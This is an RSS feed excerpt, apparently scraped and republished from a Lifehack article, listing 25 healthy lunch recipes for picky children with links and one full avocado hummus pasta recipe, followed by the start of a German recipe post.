										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" width="960" height="540" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__kids-lunch-ideas.001.jpeg" class="attachment-large size-large wp-post-image" alt="" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__kids-lunch-ideas.001.jpeg 960w, http://media.lifehack.org/wp-content/files/2018/05/23005847/kids-lunch-ideas.001-370x208.jpeg 370w, http://media.lifehack.org/wp-content/files/2018/05/23005847/kids-lunch-ideas.001-370x208%402x.jpeg 740w, http://media.lifehack.org/wp-content/files/2018/05/23005847/kids-lunch-ideas.001-768.jpeg 768w, http://media.lifehack.org/wp-content/files/2018/05/23005847/kids-lunch-ideas.001-380.jpeg 380w" sizes="auto, (max-width: 960px) 100vw, 960px" /></p>
<p>If your kids are picky eaters, you know that every meal can be a battle. Their growing bodies are in need of vitamins and nutrients, yet all they crave are unhealthy foods with no nutritional content. What you need are creative meal ideas they can eat for lunch at home or at school, designed to appeal to their palate.</p>
<p>The recipes listed here contain lots of vegetables, minimal or no processed ingredients, and most importantly, flavors that even the pickiest kids will love! The ingredients for each meal are listed below. Click on the name of the dish to see the full recipe!</p>
<table_of_contents>
<ol>
<li><table_of_contents_link data-name="finger-foods" data-title="Finger Foods"></table_of_contents_link></li>
<li><table_of_contents_link data-name="the-salad-bar" data-title="The Salad Bar"></table_of_contents_link></li>
<li><table_of_contents_link data-name="soup-of-the-day" data-title="Soup of the Day"></table_of_contents_link></li>
<li><table_of_contents_link data-name="oodles-of-noodles" data-title="Oodles of Noodles"></table_of_contents_link></li>
<li><table_of_contents_link data-name="some-assembly-required" data-title="Some Assembly Required"></table_of_contents_link></li>
<li><table_of_contents_link data-name="no-utensils-needed" data-title="No Utensils Needed"></table_of_contents_link></li>
</ol>
</table_of_contents><table_of_contents_anchor data-name="finger-foods"></table_of_contents_anchor>
<h2>Finger Foods</h2>
<h4>1. Asian-Style Fish Cakes with Sweet Chili Dipping Sauce</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769404" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__SSC_AsianFishCakes.jpg" width="596" height="420" data-lh-image-id="769404" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__SSC_AsianFishCakes.jpg 596w, http://media.lifehack.org/wp-content/files/2018/05/15212605/SSC_AsianFishCakes-380.jpg 380w" sizes="auto, (max-width: 596px) 100vw, 596px"></p>
<p>Do you have a finicky eater that refuses to eat fish? This is a great way to make this omega-3 fatty acid rich protein appealing and fun to eat. And it&rsquo;s much better for you than frozen fish sticks.</p>
<p>Just so you know, these fish cakes freeze amazingly well! To save time, make a big batch and freeze them for whenever you need a quick meal or snack.</p>
<p><strong><a target="_blank" href="https://www.babble.com/best-recipes/asian-fish-cakes/" target="_blank">View recipe here.</a></strong></p>
<h4>2. Chicken Zucchini Poppers</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769291" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__new-zucchini-poppers1SM1.jpg" width="678" height="672" data-lh-image-id="769291" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__new-zucchini-poppers1SM1.jpg 678w, http://media.lifehack.org/wp-content/files/2018/05/15194633/new-zucchini-poppers1SM1-380.jpg 380w" sizes="auto, (max-width: 678px) 100vw, 678px"></p>
<p>Some kids don&rsquo;t like the texture of zucchini, but in this recipe, they add moisture and the zucchini is barely detectable. Make sure to squeeze out the excess water in the zucchini so that the poppers stay together and don&rsquo;t fall apart. They can be pan-fried or baked! The poppers pair perfectly with the <a target="_blank" href="https://www.onelovelylife.com/citrus-avocado-dressing/" target="_blank">citrus avocado dressing</a>.</p>
<p><strong><a target="_blank" href="https://www.onelovelylife.com/chicken-zucchini-poppers-gf-df/" target="_blank">View recipe here.</a></strong></p>
<h4>3. Baked Crispy Chicken Fingers with Apple Fries</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769406" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__chicken-apple-fries.jpg" width="623" height="644" data-lh-image-id="769406" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/aeb65__chicken-apple-fries.jpg 623w, http://media.lifehack.org/wp-content/files/2018/05/15212632/chicken-apple-fries-380.jpg 380w" sizes="auto, (max-width: 623px) 100vw, 623px"></p>
<p>If your kid asks for chicken fingers, you don&rsquo;t have to say no. This version is made with white meat chicken and baked. Substituting fries with apple fries makes this an appetizing lunch that both you and your kids will approve of. Turkey breast can be used instead of chicken.</p>
<p><strong><a target="_blank" href="https://www.babble.com/best-recipes/baked-crispy-chicken-fingers-with-apple-fries/" target="_blank">View recipe here.</a></strong></p>
<h4>4. Broccoli and Cheese Nuggets (Vegetarian)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769299" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024.jpg" width="524" height="498" data-lh-image-id="769299" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024.jpg 524w, http://media.lifehack.org/wp-content/files/2018/05/15195606/broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024-380.jpg 380w" sizes="auto, (max-width: 524px) 100vw, 524px"></p>
<p>Broccoli is notorious for being a hard sell. Who knows why kids don&rsquo;t like eating these miniature trees? But when mixed with cheese and formed into a fun shape for easy dipping, kids may give these broccoli-filled nuggets another try. Another positive is that they are baked, not fried.</p>
<p><strong><a target="_blank" href="http://www.laurafuentes.com/broccoli-cheese-nuggets-recipe/" target="_blank">View recipe here.</a></strong></p>
<table_of_contents_anchor data-name="the-salad-bar"></table_of_contents_anchor>
<h2>The Salad Bar</h2>
<h4>5. Chicken Taco Salad</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769304" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__tacosalad1.jpg" width="630" height="420" data-lh-image-id="769304" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__tacosalad1.jpg 630w, http://media.lifehack.org/wp-content/files/2018/05/15200034/tacosalad1-380.jpg 380w" sizes="auto, (max-width: 630px) 100vw, 630px"></p>
<p>Kids love tacos, so why not make them a healthy taco salad? This one is packed full of leafy greens, tomatoes, corn, avocado and grilled chicken. Adding crushed chips on top gives it the perfect amount of texture and appeal for your young kids to enjoy without a single complaint.</p>
<p><strong><a target="_blank" href="http://thepioneerwoman.com/cooking/chicken-taco-salad/" target="_blank">View recipe here.</a></strong></p>
<h4>6. Chicken Salad with Grapes</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769360" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__chicken-salad-recipe-DSC_2042.jpg" width="640" height="672" data-lh-image-id="769360" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__chicken-salad-recipe-DSC_2042.jpg 640w, http://media.lifehack.org/wp-content/files/2018/05/15205814/chicken-salad-recipe-DSC_2042-380.jpg 380w" sizes="auto, (max-width: 640px) 100vw, 640px"></p>
<p>A colorful chicken salad with crunchy roasted nuts, dried cherries, grapes and celery, it can be served alone, in a sandwich, or on a bed of lettuce. Apples can be used in place of the cherries or in addition. Greek yogurt can also be used in place of the mayonnaise to up the healthy factor even more!</p>
<p><strong><a target="_blank" href="https://addapinch.com/chicken-salad-with-grapes-recipe/" target="_blank">View recipe here.</a></strong></p>
<h4>7. Salad Stuffed Pepper Bowls with Creamy Avocado Dressing (Vegan)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769377" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__salad-stuffed-peppers1.jpg" width="498" height="627" data-lh-image-id="769377" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__salad-stuffed-peppers1.jpg 498w, http://media.lifehack.org/wp-content/files/2018/05/15211150/salad-stuffed-peppers1-380.jpg 380w" sizes="auto, (max-width: 498px) 100vw, 498px"></p>
<p>As many of you moms know, a huge part of the appeal of a meal is the presentation. These pepper bowls are such a clever idea for a kid-friendly lunch. The salad AND bowl are made from a plethora of colorful, nutritious veggies. How often do you get to tell your kids to eat their bowl? You can add a protein to the salad if you prefer, such as grilled chicken.</p>
<p><strong><a target="_blank" href="https://www.courtneyssweets.com/salad-stuffed-pepper-bowls-with-creamy-avocado-dressing/" target="_blank">View recipe here</a>.</strong></p>
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<h2>Soup of the Day</h2>
<h4>8. Vegan Chili</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769411" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__homemade-vegetarian-chili-recipe-2-550x757.jpg" width="547" height="481" data-lh-image-id="769411" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__homemade-vegetarian-chili-recipe-2-550x757.jpg 547w, http://media.lifehack.org/wp-content/files/2018/05/15213013/homemade-vegetarian-chili-recipe-2-550x757-380.jpg 380w" sizes="auto, (max-width: 547px) 100vw, 547px"></p>
<p>This vegan chili recipe contains primarily of vegetables and beans, making it very healthy and filling. Making a flavorful and rich tasting chili doesn&rsquo;t have to take all day. By blending a small portion and adding it back in, the chili will be thick and satisfying, and no one will be able to taste the difference! Make a big batch because the leftovers keep very well.</p>
<p><strong><a target="_blank" href="https://cookieandkate.com/2015/vegetarian-chili-recipe/" target="_blank">View recipe here.</a></strong></p>
<h4>9. Chicken Pot Pie Soup</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769415" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__gallery-1487365367-delish-chicken-pot-pie-soup-pin-1.jpg" width="640" height="770" data-lh-image-id="769415" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/38f41__gallery-1487365367-delish-chicken-pot-pie-soup-pin-1.jpg 640w, http://media.lifehack.org/wp-content/files/2018/05/15213643/gallery-1487365367-delish-chicken-pot-pie-soup-pin-1-380.jpg 380w" sizes="auto, (max-width: 640px) 100vw, 640px"></p>
<p>Get all the flavors of chicken pot pie in half the time with this chicken pot pie soup recipe. This is such a comfort food, but also contains a lot of nutritionally dense ingredients, such as carrots, celery, peas, corn and green beans. The crust and filling are cooked separately, which is a major time saver for busy moms.</p>
<p><strong><a target="_blank" href="https://www.delish.com/cooking/recipe-ideas/recipes/a51568/chicken-pot-pie-soup-recipe/" target="_blank">View recipe here.</a></strong></p>
<h4>10. Slow Cooker Taco Soup</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770552" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Slow-Cooker-Taco-Soup-5-of-7.jpg" width="100%" data-lh-image-id="770552" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Slow-Cooker-Taco-Soup-5-of-7.jpg 684w, http://media.lifehack.org/wp-content/files/2018/05/16143958/Slow-Cooker-Taco-Soup-5-of-7-380.jpg 380w" sizes="(max-width: 684px) 100vw, 684px"></p>
<p>Another spin on the beloved taco, a fan favorite of young kids. This recipe is slow cooker friendly, so you can prep all of the ingredients in the morning, throw it in the slow cooker and come back to a house smelling of aromatic taco soup. Serve with tortilla chips or over a baked potato.</p>
<p><strong><a target="_blank" href="https://slowcookergourmet.net/slow-cooker-taco-soup/" target="_blank">View recipe here.</a></strong></p>
<table_of_contents_anchor data-name="oodles-of-noodles"></table_of_contents_anchor>
<h2>Oodles of Noodles</h2>
<h4>11. Baked Eggplant Parmesan Penne</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770216" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__eggplant1.png" width="579" height="425" data-lh-image-id="770216" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__eggplant1.png 579w, http://media.lifehack.org/wp-content/files/2018/05/16100305/eggplant1-380.png 380w" sizes="auto, (max-width: 579px) 100vw, 579px"></p>
<p>Swap out typical Chicken Parmesan with healthier but just as tasty eggplant, which is sauteed instead of deep fried. But you don&rsquo;t have to sacrifice the crunch from the breading by adding panko on top. You can also use whole wheat pasta to cut calories and add fiber, minerals, and protein.</p>
<p><strong><a target="_blank" href="https://www.foodandwine.com/recipes/baked-eggplant-parmesan-penne" target="_blank">View recipe here.</a></strong></p>
<h4>12. Roasted Chicken and Tomato Pesto Spaghetti Florentine</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770271" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17.jpg" width="450" height="382" data-lh-image-id="770271" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17.jpg 450w, http://media.lifehack.org/wp-content/files/2018/05/16101916/Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17-380.jpg 380w" sizes="auto, (max-width: 450px) 100vw, 450px"></p>
<p>This recipe incorporates roasted grape tomatoes, baby spinach leaves and rotisserie chicken breast for a light and easy lunchtime pasta. You can make your own homemade pesto if you have the ingredients on hand. Store-bought also works just as well.</p>
<p><strong><a target="_blank" href="https://picky-palate.com/roasted-chicken-tomato-pesto-spaghetti-florentine/" target="_blank">View recipe here.</a></strong></p>
<h4>13. Thai Noodle Salad (Vegan)</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770420" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Thai-Noodle-Salad-with-Peanut-Sauce-100-71.jpg" width="100%" data-lh-image-id="770420" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__Thai-Noodle-Salad-with-Peanut-Sauce-100-71.jpg 780w, http://media.lifehack.org/wp-content/files/2018/05/16123606/Thai-Noodle-Salad-with-Peanut-Sauce-100-71-768.jpg 768w, http://media.lifehack.org/wp-content/files/2018/05/16123606/Thai-Noodle-Salad-with-Peanut-Sauce-100-71-380.jpg 380w" sizes="(max-width: 780px) 100vw, 780px"></p>
<p>Filling your meals with plants of different colors will ensure that you are getting all of the vitamins and minerals you need. This recipe alone covers four colors! You can use any type of noodle (wheat, rice, soba, etc.) to make this dish, and customize the veggies to your heart&rsquo;s content.</p>
<p><strong><a target="_blank" href="https://www.feastingathome.com/thai-noodle-salad-with-peanut-sauce/" target="_blank">View recipe here.</a></strong></p>
<h4>14. Southwest Pasta Salad (Vegetarian)</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770421" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__20140614-IMG_94641.jpg" width="100%" data-lh-image-id="770421" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/18c53__20140614-IMG_94641.jpg 692w, http://media.lifehack.org/wp-content/files/2018/05/16123701/20140614-IMG_94641-380.jpg 380w" sizes="(max-width: 692px) 100vw, 692px"></p>
<p>This pasta salad is bursting with flavor &mdash; with tons of spices, lime juice and chipotle peppers. Don&rsquo;t worry about making too much because the leftovers will be even more flavorful, after marinating in all of the seasonings overnight. And there is no heating needed! Use a lentil and quinoa pasta to make this dish gluten free.</p>
<p><strong><a target="_blank" href="https://www.ambitiouskitchen.com/healthy-southwest-pasta-salad-with-chipotle-lime-greek-yogurt-dressing/" target="_blank">View recipe here.</a></strong></p>
<h4>15. Avocado Hummus Pasta (Vegan)</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770422" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__IMG_20180319_195527.jpg" width="100%" data-lh-image-id="770422" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__IMG_20180319_195527.jpg 3447w, http://media.lifehack.org/wp-content/files/2018/05/16123832/IMG_20180319_195527-1024.jpg 1024w, http://media.lifehack.org/wp-content/files/2018/05/16123832/IMG_20180319_195527-768.jpg 768w, http://media.lifehack.org/wp-content/files/2018/05/16123832/IMG_20180319_195527-380.jpg 380w" sizes="(max-width: 3447px) 100vw, 3447px"></p>
<p>This recipe is one that I created when I had no clue what to do with the vegetables, ripe avocados and leftover hummus I had to use up in my fridge. The textures and flavors of each ingredient somehow just works magically together. The creaminess from the avocado and hummus ties it all together. This accidental discovery is a huge hit with my husband and son!</p>
<p><em>Prep Time:&nbsp;20 mins</em></p>
<p><em>Cook Time:&nbsp;10 mins</em></p>
<p><em>Total Time:&nbsp;30 mins</em></p>
<p>A 30-minute creamy vegan pasta loaded with veggies and tossed in a creamy sauce made from ripe avocados and hummus.</p>
<p>Serves: 6</p>
<p><strong>Ingredients</strong></p>
<ul>
<li>1 lb rotini pasta (substitute as needed)</li>
<li>3 tsp olive oil</li>
<li>3 cloves garlic, minced</li>
<li>16 oz white button or baby bella mushrooms, sliced</li>
<li>1 bunch asparagus, chopped</li>
<li>8 oz sugar snap peas</li>
<li>1 cup frozen or fresh spinach, chopped</li>
<li>1 large cucumber, chopped</li>
<li>3 oz sun-dried tomatoes, julienned</li>
<li>2-3 ripe avocados, chunks</li>
<li>10 oz hummus, any flavor</li>
<li>1 tbsp garlic powder</li>
<li>salt, pepper to taste</li>
</ul>
<p><strong>Instructions</strong></p>
<ol>
<li>Cook noodles according to package instructions, drain, and set aside.</li>
<li>Chop veggies and set aside.</li>
<li>Add olive oil to a large saucepan. Saute minced garlic until aromatic. Add mushrooms, asparagus, cucumber, spinach, and sun-dried tomatoes. Saute until tender.</li>
<li>Add pasta, avocado, and hummus to the pan and mix gently.</li>
<li>Add garlic powder, salt, and pepper.</li>
<li>Serve warm. Store leftovers in the fridge for a few days.</li>
</ol>
<table_of_contents_anchor data-name="some-assembly-required"></table_of_contents_anchor>
<h2>Some Assembly Required</h2>
<h4>16. French Bread Pizza</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770475" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__9405475934_ef3ee61670_z.jpg" width="630" height="419" data-lh-image-id="770475" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__9405475934_ef3ee61670_z.jpg 630w, http://media.lifehack.org/wp-content/files/2018/05/16133453/9405475934_ef3ee61670_z-380.jpg 380w" sizes="auto, (max-width: 630px) 100vw, 630px"></p>
<p>This is one of the most versatile recipes I&rsquo;ve ever come across. Not only can you completely customize the toppings on the pizza, you don&rsquo;t even have to use French bread. Deli rolls, Italian rolls or hoagie rolls work just as well! The possibilities of toppings that you can add are endless. Have your kids customize their own individual pizzas with their favorite toppings to ensure they will create a meal they love.</p>
<p><strong><a target="_blank" href="http://thepioneerwoman.com/cooking/french-bread-pizzas/" target="_blank">View recipe here.</a></strong></p>
<h4>17. Rainbow Pizza</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770477" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__rainbow-pizza07-624x780.jpg" width="624" height="780" data-lh-image-id="770477" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2fac3__rainbow-pizza07-624x780.jpg 624w, http://media.lifehack.org/wp-content/files/2018/05/16133914/rainbow-pizza07-624x780-380.jpg 380w" sizes="auto, (max-width: 624px) 100vw, 624px"></p>
<p>Look at the colors on this pizza! Not only is this pizza visually appealing, it&rsquo;s also extremely healthy and delicious. The combination of bell peppers, broccoli, red cabbage and beets add a variety of complementary textures and flavors to this creative pizza recipe.</p>
<p><strong><a target="_blank" href="https://www.babble.com/best-recipes/get-your-kids-to-eat-veggies-with-rainbow-pizza/" target="_blank">View recipe here.</a></strong></p>
<h4>18. Asian Lettuce Wraps</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770482" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__healthy-asian-chicken-lettuce-wraps.jpg" width="565" height="478" data-lh-image-id="770482" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__healthy-asian-chicken-lettuce-wraps.jpg 565w, http://media.lifehack.org/wp-content/files/2018/05/16134656/healthy-asian-chicken-lettuce-wraps-380.jpg 380w" sizes="auto, (max-width: 565px) 100vw, 565px"></p>
<p>Chicken lettuce wraps are a crowd-pleaser at P.F. Chang&rsquo;s, but there&rsquo;s no reason you can&rsquo;t make a just as good if not better version at home. Requiring only 15 minutes, these lettuce wraps are scrumptious and fun to eat. Your kids will love assembling their own lettuce wraps and devouring this healthy lunch.</p>
<p><strong><a target="_blank" href="https://aseasyasapplepie.com/healthy-asian-chicken-lettuce-wraps/" target="_blank">View recipe here.</a></strong></p>
<h4>19. Fish Tacos</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770484" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__gallery-1496701785-delish-fishtacos-pin-03.jpg" width="100%" data-lh-image-id="770484" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__gallery-1496701785-delish-fishtacos-pin-03.jpg 640w, http://media.lifehack.org/wp-content/files/2018/05/16135030/gallery-1496701785-delish-fishtacos-pin-03-380.jpg 380w" sizes="(max-width: 640px) 100vw, 640px"></p>
<p>Another way to get kids to eat fish is to serve them into tacos! These flaky pieces of fish are topped with a tangy, crunchy slaw loaded with veggies. The fish can be pan-fried or grilled and served in a flour or corn tortilla. Your kids will be requesting this dish over and over again.</p>
<p><strong><a target="_blank" href="https://www.delish.com/cooking/recipe-ideas/recipes/a53296/easy-fish-taco-recipe/" target="_blank">View recipe here.</a></strong></p>
<h4>20. Skirt Steak Fajitas</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770489" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__sheet-pan-steak-fajitas-4.jpg" width="100%" data-lh-image-id="770489" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__sheet-pan-steak-fajitas-4.jpg 680w, http://media.lifehack.org/wp-content/files/2018/05/16135517/sheet-pan-steak-fajitas-4-380.jpg 380w" sizes="(max-width: 680px) 100vw, 680px"></p>
<p>This tortilla friendly recipe that incorporates skirt steak, onions and bell peppers has decided to go the fajita route. All of these ingredients can be combined on one baking sheet. That means fewer dishes and easier clean-up! You can serve with your favorite toppings such as avocado, sour cream, salsa and shredded cheese.</p>
<p><strong><a target="_blank" href="https://theblondcook.com/sheet-pan-steak-fajitas/" target="_blank">View recipe here.</a></strong></p>
<table_of_contents_anchor data-name="no-utensils-needed"></table_of_contents_anchor>
<h2>No Utensils Needed</h2>
<h4>21. Avocado Egg Salad Wraps</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770536" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__avocado-egg-salad-wraps-1.jpg" width="590" height="377" data-lh-image-id="770536" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__avocado-egg-salad-wraps-1.jpg 590w, http://media.lifehack.org/wp-content/files/2018/05/16141148/avocado-egg-salad-wraps-1-380.jpg 380w" sizes="auto, (max-width: 590px) 100vw, 590px"></p>
<p>Eggs are a great ingredient to include in a nutrient-dense lunch for growing kids. Egg salad is one of the best ways to serve it, but the large amounts of mayonnaise introduces a lot of unnecessary saturated fats. This recipe cuts out a lot of the mayo and uses nature&rsquo;s mayo &mdash; avocados, for creaminess.</p>
<p><strong><a target="_blank" href="https://www.jocooks.com/course/sandwiches/avocado-egg-salad-wraps/" target="_blank">View recipe here.</a></strong></p>
<h4>22. Spicy Tuna Avocado Wrap</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770542" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__spicy-tuna-77.jpg" width="100%" data-lh-image-id="770542" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/2377a__spicy-tuna-77.jpg 3831w, http://media.lifehack.org/wp-content/files/2018/05/16141841/spicy-tuna-77-1024.jpg 1024w, http://media.lifehack.org/wp-content/files/2018/05/16141841/spicy-tuna-77-768.jpg 768w, http://media.lifehack.org/wp-content/files/2018/05/16141841/spicy-tuna-77-380.jpg 380w" sizes="(max-width: 3831px) 100vw, 3831px"></p>
<p>Canned tuna is such a convenient ingredient and is also a great source of protein, omega-3 fatty acids, iron and potassium. This wrap contains lots of hearty vegetables and uses avocado and Dijon mustard to flavor the tuna. Sriracha is used for added spice if your kids can handle spicy food! These wraps can be packed easily in a lunch box to take to school.</p>
<p><strong><a target="_blank" href="http://www.eatyourselfskinny.com/spicy-tuna-avocado-wrap/" target="_blank">View recipe here.</a></strong></p>
<h4>23. Chicken and Avocado Roll-Ups</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770555" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__chicken-avocado-roll-ups54.jpg" width="100%" data-lh-image-id="770555" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__chicken-avocado-roll-ups54.jpg 749w, http://media.lifehack.org/wp-content/files/2018/05/16144208/chicken-avocado-roll-ups54-380.jpg 380w" sizes="(max-width: 749px) 100vw, 749px"></p>
<p>These easy roll-ups take only 10 minutes to make! And they&rsquo;re packed with great veggies like avocados, tomatoes and onions. You can pack it with even more veggies like spinach, cucumber, or whatever you might have in your fridge.</p>
<p><strong><a target="_blank" href="https://gimmedelicious.com/2017/05/21/chicken-and-avocado-roll-ups/?epik=0RaddE_IW3-1w" target="_blank">View recipe here.</a></strong></p>
<h4>24. White Bean Veggie Burgers (Vegan)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770543" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__white-bean-burger1.jpg" width="566" height="377" data-lh-image-id="770543" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__white-bean-burger1.jpg 566w, http://media.lifehack.org/wp-content/files/2018/05/16141914/white-bean-burger1-380.jpg 380w" sizes="auto, (max-width: 566px) 100vw, 566px"></p>
<p>Do you have kids that love eating burgers? These 100% vegan burgers with plant-based bacon and cheese will be so delicious that they won&rsquo;t even realize they&rsquo;re not eating meat. Beans contain lots of vitamins and fiber and are a great source of protein. You can bake or grill these delectable burger patties.</p>
<p><strong><a target="_blank" href="https://www.babble.com/best-recipes/easy-white-bean-veggie-burgers/" target="_blank">View recipe here.</a></strong></p>
<h4>25. Turkey Spinach Slider</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770550" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__turkey-spinach-sliders1.jpg" width="100%" data-lh-image-id="770550" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/79901__turkey-spinach-sliders1.jpg 928w, http://media.lifehack.org/wp-content/files/2018/05/16143323/turkey-spinach-sliders1-370x208.jpg 370w, http://media.lifehack.org/wp-content/files/2018/05/16143323/turkey-spinach-sliders1-370x208%402x.jpg 740w, http://media.lifehack.org/wp-content/files/2018/05/16143323/turkey-spinach-sliders1-768.jpg 768w, http://media.lifehack.org/wp-content/files/2018/05/16143323/turkey-spinach-sliders1-380.jpg 380w" sizes="(max-width: 928px) 100vw, 928px"></p>
<p>One of the problems with turkey burgers is that they can be flavorless and unappetizing when prepared incorrectly. This recipe incorporates ingredients that pack a punch like cumin and garlic. There&rsquo;s also spinach leaves blended right into the patty, but your kids will be too busy chowing down to even notice!</p>
<p><strong><a target="_blank" href="https://www.bonappetit.com/recipe/turkey-spinach-sliders" target="_blank">View recipe here.</a></strong></p>
<p>Making healthy lunches for home or school doesn&rsquo;t have to be daunting task. Armed with these recipes, you have all the tools you need to find meals that the pickiest of eaters will enjoy.</p>
<p>By incorporating nutritional but less appealing ingredients into forms your kids recognize and love, you can introduce them to new flavors and hopefully, open their minds to trying new things.</p>
<p><span class="credit">Featured photo credit: <a target="_blank" href="https://pixabay.com/en/lunch-box-picnic-sandwich-200762" target="_blank">Pixabay via pixabay.com</a></span></p>
<p>The post <a target="_blank" rel="nofollow" href="http://www.lifehack.org/761516/tasty-and-healthy-kids-lunch-ideas">25 Tasty and Healthy Kids&#8217; Lunch Ideas for Home or School</a> appeared first on <a target="_blank" rel="nofollow" href="http://www.lifehack.org">Lifehack</a>.</p>
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		<title>Folge uns auf unserem neuen EINFACH TASTY Youtube-Kanal!</title>
		<link>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-3/</link>
					<comments>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-3/#respond</comments>
		
		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Tue, 22 May 2018 17:56:51 +0000</pubDate>
				<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[einfach]]></category>
		<category><![CDATA[Folge]]></category>
		<category><![CDATA[NEUEN]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[unserem]]></category>
		<category><![CDATA[YouTubeKanal]]></category>
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					<description><![CDATA[REZEPT: Bacon-H&#228;hnchen-Mozzarellasticks ZUTATEN F&#252;r die Glasur: 450g Ketchup 225g Tomatensauce 240ml Apfelesseig 1TL Senf 100g brauner Zucker 100g Zucker 8 H&#252;hnchenfilets Petersilie Mozzarella Bacon ZUBEREITUNG 1. Ketchup, Tomatensauce, Apfelessig, Senf, braunen Zucker und normalen Zucker in eine gro&#223;e Sch&#252;ssel geben. 2. Gut umr&#252;hren. 3. Einen Teil der Sauce auf zwei kleinere Sch&#252;sseln aufteilen. Circa 120 [&#8230;]]]></description>
